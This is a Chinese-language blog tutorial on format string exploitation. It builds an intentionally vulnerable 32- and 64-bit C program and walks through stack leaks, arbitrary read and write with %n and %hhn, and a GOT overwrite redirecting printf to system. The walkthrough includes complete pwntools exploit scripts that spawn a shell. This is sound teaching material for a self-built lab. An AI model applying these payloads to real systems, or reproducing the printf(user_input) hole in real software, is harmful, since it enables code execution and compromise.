title: pwn入门到放弃2-格式化字符串漏洞
date: 2022-03-03 15:42:01
tags: [Pwn]
categories: Pwn基础知识
index_img: https://asteri5m.oss-cn-chengdu.aliyuncs.com/img/image-20220228194749851.png

0x00 printf函数

printf函数的格式是printf("%s",(char*)str)之类的,就是有一个参数%d,%c,%x等等之类的

如果吧格式写成printf((char*) str),那么如果str里含有 printf可以识别的格式字串,那么printf就会执行操作

0x10 环境准备

在Ubuntu20.04下使用gcc编译器,因为反编译效果不佳,推荐使用clang

安装命令

sudo apt install gcc
sudo apt install clang

默认是安装64位环境的,所以补充32位编译环境:

sudo apt-get install gcc-multilib

生成32位程序时添加指令 -m32

gcc -m32 printf.c -o printf32

0x20 32位复现

0x21 编写漏出后门的程序

编写一段带后门的程序,采用32位的编译,这里留个两个后门,只要能够输出flag字符串或者获取shellcode就算成功。

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
​
void fun(){
    system("bin/sh");
    return;
}
​
char flag[] = "flag{OK_get!}";
​
int main(){
    char s[0x100];
    memset(&s,0,0x100);
    
    while(s[0] != '0'){
        read(0,&s,0x100);
        printf(s);
        printf("\n\n");
    }
    return 0;
}

编译代码然后使用IDA分析,编译的时候编译器报了warning,但是我们就是要使用该漏洞,所以不管它。

ox22 分析调试,任意位置读

运行程序发现,无论输入什么,都会原样输出,但是当我们输入一些特殊符号时,例如%s,%x,输出就变得奇奇怪怪:

这里的原理很简单,形如printf(“%s”,“Hello world”)的使用形式会把第一个参数%s作为格式化字符串参数进行解析,在这里由于我们直接用printf输出一个变量,当变量也正好是格式化字符串时,自然就会被printf解析。

接着实验:连续输入多个%x查看结果(这一步很关键)

发现在第9个%x的时候输出了252C7825,后面开始循环,这里是'%'(ASCII:0x25),'x'(ASCII:0x78),','(ASCII:0x2c)

这里为什么是这样的呢?接着实验,打开IDA远程调试,输入十个%x,查看此时栈内的情况

可以看到,此时向下的第九个偏移就是刚刚的输入,所以理论上我们可以通过叠加%x来获取有限范围内的栈数据。那么我们有可能泄露其他数据吗?

我们知道格式化字符串里有%s,用于输出字符。其本质上是读取对应的参数,并作为指针解析,获取到对应地址的字符串输出。我们先输入一个%s观察结果:

可以看到,栈顶是第一个参数,也就是我们输入的%s, 第二个参数的地址和第一个参数一样,作为地址解析指向的还是%s和回车0x0A。由于此时我们可以通过输入来操控栈,我们可以输入一个地址,再让%s正好对应到这个地址,从而输出地址指向的字符串,实现任意地址读。

这里找到flag字符串的地址以及main函数的起始地址

通过刚刚的调试我们可以发现,我们的输入从第九个参数开始(上图从栈顶往下数第九个‘FFC4AF34’ = %s\n%)。所以我们可以构造字符串“\x28\xC0\x04\x08%x.%x.%x.%x.%x.%x.%x.%x.%s”

由于字符串里包括了不可写字符,我们没办法直接输入,这里前面四个字符输入‘0’ ,输入后再使用F2修改IDA的内存。

接着运行下面的printf语句,返回虚拟机就可以看到:

我们成功地泄露出了地址0×08048001内的内容。

经过刚刚的试验,我们用来泄露指定地址的payload对读者来说应该还是能够理解的。由于我们的输入本体恰好在printf读取参数的第九个参数的位置,所以我们把地址布置在开头,使其被printf当做第九个参数。接下来是格式化字符串,使用%x处理掉第一到第八个参数,使用%s将第九个参数作为地址解析。但是如果输入长度有限制,而且我们的输入位于printf的第几十个参数之外要怎么办呢?叠加%x显然不现实。因此我们需要用到格式化字符串的另一个特性。

格式化字符串可以使用一种特殊的表示形式来指定处理第n个参数,如输出第就九参数可以写为%9$s,第六个为%6$s,需要输出第n个参数就是%n$[格式化控制符]。因此我们的payload可以简化为“\x28\xC0\x04\x08%9$s”

0x23 任意地址写&getshell

使用格式化字符串漏洞任意写虽然我们可以利用格式化字符串漏洞达到任意地址读,但是并不是所有的程序都像我这样都有后门可以直接获取shell,因此还需要任意地址写。所以要学习格式化字符串的另一个特性——使用printf进行写入。

printf有一个特殊的格式化控制符%n,和其他控制输出格式和内容的格式化字符不同的是,这个格式化字符会将已输出的字符数写入到对应参数的内存中。我们将payload改成“\x28\xC0\x04\x08%9$s”,修改flag的值(这里还是通过输入0改内存的方式),得到了结果:

flag字串就修改成4了。

现在我们已经验证了任意地址读写,接下来可以构造exp拿shell了。

由于我们可以任意地址写,且程序里有system函数,因此我们在这里可以直接选择劫持一个函数的got表项为system的plt表项,从而执行system(“/bin/sh”)。劫持哪一项呢?我们发现在got表中有五个函数,且printf函数可以单参数调用,参数又正好是我们输入的。

或者使用pwntools获取对应的表项

因此我们可以劫持printf为system,然后再次通过read读取“/bin/sh”,此时printf(“/bin/sh”)将会变成system(“/bin/sh”)。根据之前的任意地址写实验,我们很容易构造payload如下:

printf_got = 0x0804C010
​
system_plt = 0x08049060
​
payload = p32(printf_got)+"%"+str(system_plt-4)+"c%9$n"

回到虚拟机,使用pwntools编写exp尝试,(因为python3要解决str转bytes的问题,所以需要encode):

from pwn import *
​
context.log_level = "debug" #show debug information
​
p = process('./printf32')
​
printf_got = 0x0804C010
system_plt = 0x08049060
payload = p32(printf_got)+b"%"+str(system_plt-4).encode()+b"c%9$n"
​
p.sendline(payload)
print(p.recv())
​
p.interactive()

但是出现了问题,这里因为大量的字符串写入和输出占用大量资源,导致程序被进程管理杀掉了,因此这种方法有问题,需要进一步优化。事实上,如果是网络中,大量的数据传输也非常容易出错导致失败。

因此需要换一种exp的写法,在64位下有%lld,%llx等方式来表示四字(qword)长度的数据,而对称地,我们也可以使用%hd, %hhx这样的方式来表示字(word)和字节(byte)长度的数据,对应到%n上就是%hn,%hhn

为了防止修改的地址有误导致程序崩溃,仍然需要一次性把got表中的printf项改掉,因此使用%hhn时我们就必须一次修改四个字节。那么我们就得重新构造一下payload

printf_got = 0x0804C010
​
payload = p32(printf_got)
payload += p32(printf_got+1)
payload += p32(printf_got+2)
payload += p32(printf_got+3)

这样的就是一个字节一个字节的修改,相对得到输出量就会减小很多。

此时前面已经有了16个字节,就需要重新计算填偏移了,先来修改第一位。由于x86和x86-64都是小端序,printf_got对应的应该是地址后两位0×60

payload += b"%"
payload += str(0x60-0x10).encode()
payload += b"c%9$hhn"

接着修改 printf_got+1 的字节:0x90,前面已经有了0x60个字节,所以直接减去就好,而对应的%n的参数数应该是第二个,因此也要加一。

payload += b"%"
payload += str(0x90-0x60).encode()
payload += b"c%10$hhn"

同理 printf_got+2,这里对应的是04,因为前面已经超出了,所以这里构造0x104,截断后变成0x04,。

payload += b"%"
payload += str(0x100 + 0x04 - 0x90).encode()
payload += b"c%11$hhn"

最后是printf_got+3 的字节 0x08,这里很容易的计算出差值为4(这里是0x08,前面已经有了0x104个字节,所以也是构造0x108,因此差值为0x4。这里很容易发现规律:补差值即可,既后一位减去前一位)

payload += b"%"
payload += str(0x4).encode()
payload += b"c%12$hhn"

运行exp,再次输入时输入 /bin/sh即可获取shell。(这里的flag文件是提前准备好的)

0x30 64位复现

还是之前的代码,现在正常编译即可,这次重命名为printf。

同样的测试,这次是第8个参数

前面的分析直接跳过,用pwntools获取printf的got表项地址和system的plt表项的地址。

先使用之前的exp试试,简单修改下地址,这里是64位程序所以要用p64:

发现失败了,分析失败原因,查看返回值,可以看到只返回了‘\x20(空格)@@’,这里返回了什么,就说明我们输入了什么,意思是只有前面三个字节输入进去了,\x00是没有办法输入的。而且64位系统的地址比32位长一倍,基址高位基本都是0,因此需要调整exp,将地址放在payload的最后。由于地址中带有\x00,所以这回就不能用%hhn分段写了,因此我们的payload构造如下

printf_got = 0x00404020
system_plt = 0x00401030

payload = b'%' + str(system_plt).encode() + b'c%8$lln' + p64(printf_got)

但是运行之后直接爆段错误

查看堆栈,发现地址貌似出现了错误,其实是前面少了一位导致没有对齐

所以需要在前面填充一位非零字符使得地址对齐即可,但是同时这里应该是第三个参数了,所以是8+2 = 10既%10$lln,8变成10,一个字节变成两个字节,刚好代替填充,所以不要填充了,直接改成10即可:

payload = b'%' + str(system_plt).encode() + b'c%10$lln' + p64(printf_got)

成功!